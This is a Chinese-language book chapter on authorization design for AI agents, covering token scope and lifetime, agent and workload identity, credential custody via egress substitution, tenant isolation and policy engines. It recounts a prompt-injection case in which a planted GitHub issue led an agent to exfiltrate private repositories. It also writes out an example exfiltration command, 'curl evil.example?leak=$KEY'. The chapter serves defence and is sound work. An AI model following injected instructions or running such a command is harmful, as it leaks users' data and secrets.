安全与授权

智能体带着某人的授权在世界里行动，核心的安全问题只有一个：每次调用随行多少授权、随行多久。一个长期存在的宽泛令牌，加上一次提示注入（prompt injection），也就是藏在不可信内容里的指令，就等于一次入侵，因为被注入的指令会继承整份授予。身份与治理分担约束授权的工作，而预算与审计位于经过验证的主体的下游，并不是各自独立的系统。

那次入侵如何界定问题

2025 年 5 月，Invariant Labs 披露了一条清楚的路径，能把一个看似合理的配置变成跨仓库的数据泄露 (Invariant Labs 2025)。面向 MCP（Model Context Protocol，把外部系统暴露给智能体的工具连接层）的 GitHub 集成遵循一个常见模式：一个个人访问令牌，宽到足以跨越用户的多个仓库，在整个会话生命周期内复用。攻击者在一个公开 issue 里植入了指令。智能体读到那个 issue 时，跟随了被植入的指令，而那个单一令牌已经覆盖了用户的私有仓库，于是智能体便用它外泄了这些仓库的内容。出问题的不是泄露的密钥，而是一个被正确持有、却太宽又太持久的密钥。

这句话界定了问题，值得拆开来看。智能体的目的就是采取行动：读一个仓库、发一封邮件、查一个数仓、调用一个模型。每个行动都需要授权，而看似方便的默认做法是用一个宽泛凭证给智能体一次性授权，让它在整个会话生命周期内复用。麻烦在于，一个长期存在的授予，任何能够触达智能体的东西都够得着，而智能体的输入通道在构造上就是敞开的：它会读取不受信任的内容。攻击者只要在网页、文件或某个工具的输出里植入指令（这就是间接提示注入，工具投毒，也就是用一段恶意的工具描述劫持智能体，是其中一个变体），就能把智能体引去使用那个授予。令牌并不知道智能体是自己决定行动，还是被引导去行动的。

所以攻击面就是范围（scope）列表。授权一旦宽泛又长期存在，一条被注入的指令就会变成该凭证所允许的一切的并集（图 56.2）。爆炸半径不是攻击者触达的那一个仓库，而是同一个令牌覆盖的每一个仓库。

GitHub 这一例只是更普遍失效的一种形态，另有三个问题叠加在它之上。智能体运行在共享基础设施上，所以平台必须知道一个行动属于哪个租户，否则一次检索查询会悄无声息地把一个租户的数据返回进另一个租户的会话。为这项工作付费并授权的提供商密钥与 OAuth 令牌，绝不能被那些可能泄露它们的生成代码触达。而当一个人撤回同意时，已经签发的授权必须真正停止，而不只是被打上标记。这每一个，都是同一个问题向不同资源发问：随行多少授权、随行多久。

约束授权的两个底座

答案是把授权做成一等的、狭窄的、短时的、有归属的东西。在一个成熟的平台里，这个东西由两个协作的底座拥有：治理声明一个智能体可以尝试什么，身份在网络上执行它。在进入二者交界之前，两个底座消费的是同一个原语。

主体元组

每个操作都把它的调用方解析为 (user_id, tenant_id, agent_id, workload_id, scopes, attributes)，并回答一个问题：这个主体可否对这个资源采取这个行动？这个元组正是其他每个系统所消费的东西。持久化把它盖在一个会话上，成本流水线据它计费，审计日志据它归属。一条审计条目若只记下「会话 X 做了 Y」，却没有那个经过验证的元组，就回答不了调查唯一会问的问题：谁，为哪个租户。

三重身份，而非一个层级

运行框架在每次调用上调和三个主体，它们是无法被压扁的正交轴（图 56.4）。

用户是通过 SSO 认证的人，其同意可被撤回。智能体则不同，它是一个有名字、有版本的主体，拥有自己的能力面，正是这一点才让「是智能体做了 X，而非用户」成为可表达的。工作负载是运行时，它回答另外两者无法回答的问题：这究竟是一个合法的运行框架副本，还是集群里别的什么东西拿到了令牌？每重身份都封堵了另外两者留下的一个攻击，也都承载着另外两者无法承载的一种归属。

声明与执行

两个底座分担约束授权的工作，而它们之间的交界决定了职责如何划分。治理声明一项收窄：这个智能体只可读、只可读这一个仓库、只可在某个花费上限之下。身份执行它，方式是铸造一个恰好被收窄到那个范围的令牌，并拒绝铸造任何更宽的。能力收窄是治理的词汇，令牌范围划定则是身份在网络上把它变为现实的机制。要判定某项关注由哪个底座拥有，最清楚的检验是：如果撤销它改变了谁能触达一个资源，它属于身份；如果撤销它改变了一个已授权主体被允许尝试什么，它属于治理。一个令牌的 scope 声明正坐落在交界上，恰恰因为身份写下它，是为了把治理所决定的东西编码进去（图 56.5）。

治理把智能体当作一份文档，而非一个运行中的进程：一份有名字、由所有者签名、有版本的记录，记下它的提示、它的工具授予、它的模型绑定、它的预算与它的审批步骤。文档正是那个能回答「这个智能体在它行动的那一刻被允许做什么」的东西，因为那份允许就是版本控制中某一时点的那份文档。委派上的关键不变式是 $C_{child} \subseteq C_{parent}$：随着工作沿一条链向下交接，授权只能不断收缩，绝不增长。

凭证托管

提供商密钥与 OAuth 令牌住在底座里，绝不住在智能体的环境、配置、日志或命令历史中。智能体收到的是一个有范围、短时的句柄，由底座在调用时兑换为真正的凭证。这与运行框架在沙箱边界所施加的密钥可达性纪律是同一条（第 41 章）：生成代码绝不可读取高价值密钥。它对提供商密钥尤为要紧，因为这类密钥的爆炸半径，是花在别人模型上、无人认领的开销，直到账单出来才被发现。

那次兑换有个前提：得有东西来铸造这个短时凭证。对于走模型网关的提供商密钥，或任何会说 OAuth 令牌交换、on-behalf-of 的凭证，这个前提成立。可对于供应商不会按次轮换的静态第三方密钥，它就不成立了：一个支付密钥、一个数据库口令、一个合作方 API 令牌。看似省事的做法是把这个密钥直接交给沙箱，作为环境变量或挂载文件。这样做通用，也无需改代码，却把真正的密钥搬进了盒子里，于是 第 57 章 里的致命三元组，只要一条被注入的 curl evil.example?leak=$KEY 就能把它外泄。要让托管纪律对静态密钥依然成立，靠的是出网替换（egress substitution）：盒子里放的是一个不透明的占位符，真正的值留在一个会终止 TLS 的出网代理里，只在流量发往该凭证所限定的主机时，才被换到线上。占位符发往别处一律失效，泄露它对攻击者毫无价值。代价要说清楚：代理为这些限定主机终止 TLS，因而会读到这些请求的明文，客户端也必须信任它的证书颁发机构；而对于密钥从不原样出现在线上的认证方式，请求签名（AWS SigV4）或质询-应答（SCRAM），它无能为力，因为没有东西可供替换。

租户身份作为最粗粒度的所有权轴

每个资源要么携带一个租户属性，要么被限制在单个租户里。隔离随后落在一条连续区间上，区分各档的，是出缺陷时的爆炸半径。这个选择按资源类逐一做出，而非整个平台一刀切，因为爆炸半径并不均匀：一条泄露的审计行是一次保密性事件，但一次泄露的跨租户记忆检索，是一次实际的数据泄露，它把一个租户的内容暴露在另一个租户正在进行的会话里（第 39 章，第 44 章）。

从宽泛走向短暂

为一次调用携带授权的方式，已经稳步地从宽泛而持久走向狭窄而短暂，每一步都由前一种形态所造就的事件推动。GitHub 那次入侵位于这条路径的起点，而非终点：当一个智能体读取不受信任的输入时，最古老的授权方式看起来就是那个样子。

宽泛持有者令牌曾是默认，因为它只要一次同意对话框、一个凭证。它的代价是时间性的：一个宽泛令牌就是一个长期存在的授予，任何能触达智能体的东西都够得着。GitHub 的细粒度个人访问令牌、Google 收窄后的同意屏，正是为了从这个模式里夺回授权而存在的。承载了那次入侵的协议本身也是如此：2025 年 6 月修订的 MCP 规范把每个 MCP 服务器定为 OAuth 2.1 资源服务器，并要求客户端按 RFC 8707 资源指示符把每个令牌绑定到某一个服务器的规范 URI，于是为一个服务器签发的令牌，到任何其他服务器那里都会被拒收 (Model Context Protocol 2025)。

短时能力令牌反转了长期授予：每次工具调用都铸造一个令牌，恰好携带该次调用所需的权限，TTL 以分钟计，于是一次泄露或被注入的调用能造成损害的窗口，就从一个会话收缩到单个操作。Macaroons（2014）与 Biscuit 是其形式根基：持有者可对令牌做收窄，加上的限定（caveat）只会进一步限制、绝不放宽，于是一个服务可以把一个严格更弱的令牌交给下一跳，而无需回头联系签发者 (Birgisson et al. 2014)。这就是对象能力纪律，也正是在令牌层表达的 $C_{child} \subseteq C_{parent}$。

代表用户（OBO）让用户的授权端到端地传播，而非用智能体的授权替换它，于是数仓的行级安全看到的是那个人，而非服务账号。RFC 8693 形式化了令牌交换 (Jones et al. 2020)；针对智能体的提案，是 IETF 关于 AI 智能体代表用户授权的草案，它把用户加智能体加客户端身份编码进一个委派令牌，不过它至今仍是个人草案，尚未被采纳为标准 (IETF 2025)。Okta for AI Agents (Okta 2025) 与 Auth0 的智能体身份工作 (Auth0 2026) 把这作为产品而非草案发布。

工作负载身份（SPIFFE/SPIRE）让 pod 以密码学方式证明自己是什么，没有可泄露的共享密钥。正是它让令牌中介可以拒绝为一个仅仅坐在集群里的进程铸造用户令牌，而它对任何多副本部署都是标准。

这段历史沉淀出一条选择规则：宽泛范围只在单用户、低权限部署中站得住脚；当行动是高权限或不可逆时，能力令牌才值得它的管线开销；只要下游授权依赖于具体用户，OBO 就是关键；对任何多副本部署，SPIFFE 都是标准。

它在哪里付出代价

这里的每个选择都拿一种好处去换另一种，而拐点都很清楚。五个权衡反复出现：某个站得住脚的决定，往往也会带来另一侧没有的下行风险。

• 隔离粒度与共享灵活性。 扁平用户租户身份隔离起来轻而易举，却无法共享。一个三级的组织-项目层级靠检视即可读懂，但一旦真实组织是矩阵而非树，它就立刻僵化。基于属性的访问契合任何拓扑，却让「谁能看到什么？」无法通过读取数据来判定，从而破坏离线的审计与抹除遍历。挑选那个契合该组织、又让所有权图可遍历的最简单形态。
• 撤销延迟与长 TTL。 持有者令牌的撤销延迟无法避免：一个撤回同意的用户够不到已经签发的令牌，所以会话会带着已被撤销的授权一直运行，直到令牌过期。因此 TTL 就是一个被撤销的授予还能被利用多久的上限。长 TTL 令牌与即时撤销权互斥，租户越敏感，令牌就必须活得越短。
• 写时分区与读时过滤。 一个在读时施加的 tenant_id 过滤，离一次泄露只差一条漏掉的 WHERE 子句；一个物理上按租户分区的索引，即使查询出错也无法泄露。过滤便宜，分区安全。
• 同意疲劳。 在每个行动上重复征求同意，会训练用户为了让对话框闭嘴而授予可得的最宽范围，这恰恰制造了整套设计所对抗的环境授权。结构性的修复，是把智能体做成一等身份，拥有它自己持久、可审计的授予，而非一个每次行动都重新借用用户授权的代理。
• 集中化与可用性。 在所有模型推断之前立一个单一底座，让归属与同步预算执行成为可能，但它在构造上就是一个单点故障：它一旦宕机，所有活动会话会同时停滞。换来控制的那份集中化，必须用一条回退路由和一个断路器来偿付。

改动下面的 TTL，看看一个被撤销的令牌还能被利用的窗口：当同意在令牌生命里的某个随机时刻被撤回时，平均暴露是 TTL 的一半，最坏情况是整个 TTL。

import numpy as np

rng = np.random.default_rng(0)
trials = 100_000
for ttl_min in [60, 15, 5, 1]:
    # 同意在令牌生命期内的某个均匀随机时刻被撤回
    withdraw = rng.uniform(0, ttl_min, trials)
    # exposure = 会话继续以已被撤销的授权运行的时长
    exposure = ttl_min - withdraw
    print(f"TTL={ttl_min:>3} min  ->  mean exposure {exposure.mean():5.2f} min,"
          f"  worst case {exposure.max():5.2f} min")
print("\nExposure window scales linearly with TTL: the TTL is the ceiling.")

回答那个动词的组件

实际回答「这个调用方可否对这个资源采取这个行动？」的组件是一个策略引擎，它是底座最可见的产物。OPA / Rego 是 Kubernetes 原生、数据驱动的，有一段实打实的学习曲线。AWS Cedar 是带类型、可分析的，于是可以对一条策略提出形式化的问题（「是否存在任何主体能够触达这个资源？」），而不只是测试它。Oso 是作为库的授权，带一个关系模型；Permit.io 把这些后端组合在一个 API 之后。这些引擎所回答的那个查询，在 2026 年 1 月有了自己的标准：OpenID 基金会定稿了 AuthZEN 授权 API，为逐动作的授权问询提供一种厂商中立的传输格式，无论背后接的是哪个引擎 (OpenID Foundation 2026)。一个生产系统会运行两个策略面，并应保持它们分离：身份所拥有的资源访问策略（「这个身份可否读这个资源？」），与治理所拥有的行动风险策略（「这个智能体可否发这封邮件？」），因为它们因不同的原因、以不同的节奏变化，而后者正是人类审批被放置之处（第 55 章）。

隔离层级

隔离层级，按资源类逐一选定：

一个成熟的平台会刻意混用层级：会话为成本而逻辑分区，高敏感记忆物理隔离，审计作为一个带租户标签行的共享物理存储。贯穿这一切之下的陷阱，是来自请求头的隐式租户身份：如果 tenant_id 是从一个没有密码学绑定（一个 JWT 声明、一个 mTLS 客户端证书）的 HTTP 头里读出来的，那么一个被伪造的头就在前门绕过了最精心选定的物理层级。

闭合回路

两个运维模式把回路闭合。预算执行必须与调用同步，位于模型访问底座或网关里，那是唯一同时拥有逐调用上下文与拒绝权限的地方；一个由计费系统执行的预算是一个告警，而非执行，因为它触发在花费之后。抹除权与审计要求记录留存之间存在张力，由墓碑加证明（tombstone-plus-proof）来化解：清除载荷，保持防篡改链完好，并证明删除，而非悄无声息地丢掉一行。

常见失效模式，都是没画准的身份边界。环境授权就是 GitHub MCP 那个形态：一个长期存在的令牌、每次调用，一次提示注入就能触发它所允许的一切。转发用户令牌的智能体到智能体委派，把用户的全部授权交给下一个智能体，却不附带用户的任何意图；正确的形态是一个委派的、收窄的令牌，命名整条链，并在每一跳收窄范围，而搞砸的委派正是多智能体失效的一大主因 (Cemri et al. 2025)（第 43 章）。跨租户检索渗漏是最高风险的一类，靠写时分区胜过读时过滤来缓解。隐式租户耦合，即一个资源在创建时隐式继承租户身份，会变得无法共享、无法重新归属，除非做一次迁移，而隐式租户身份恰恰无法表达这次迁移。

延伸阅读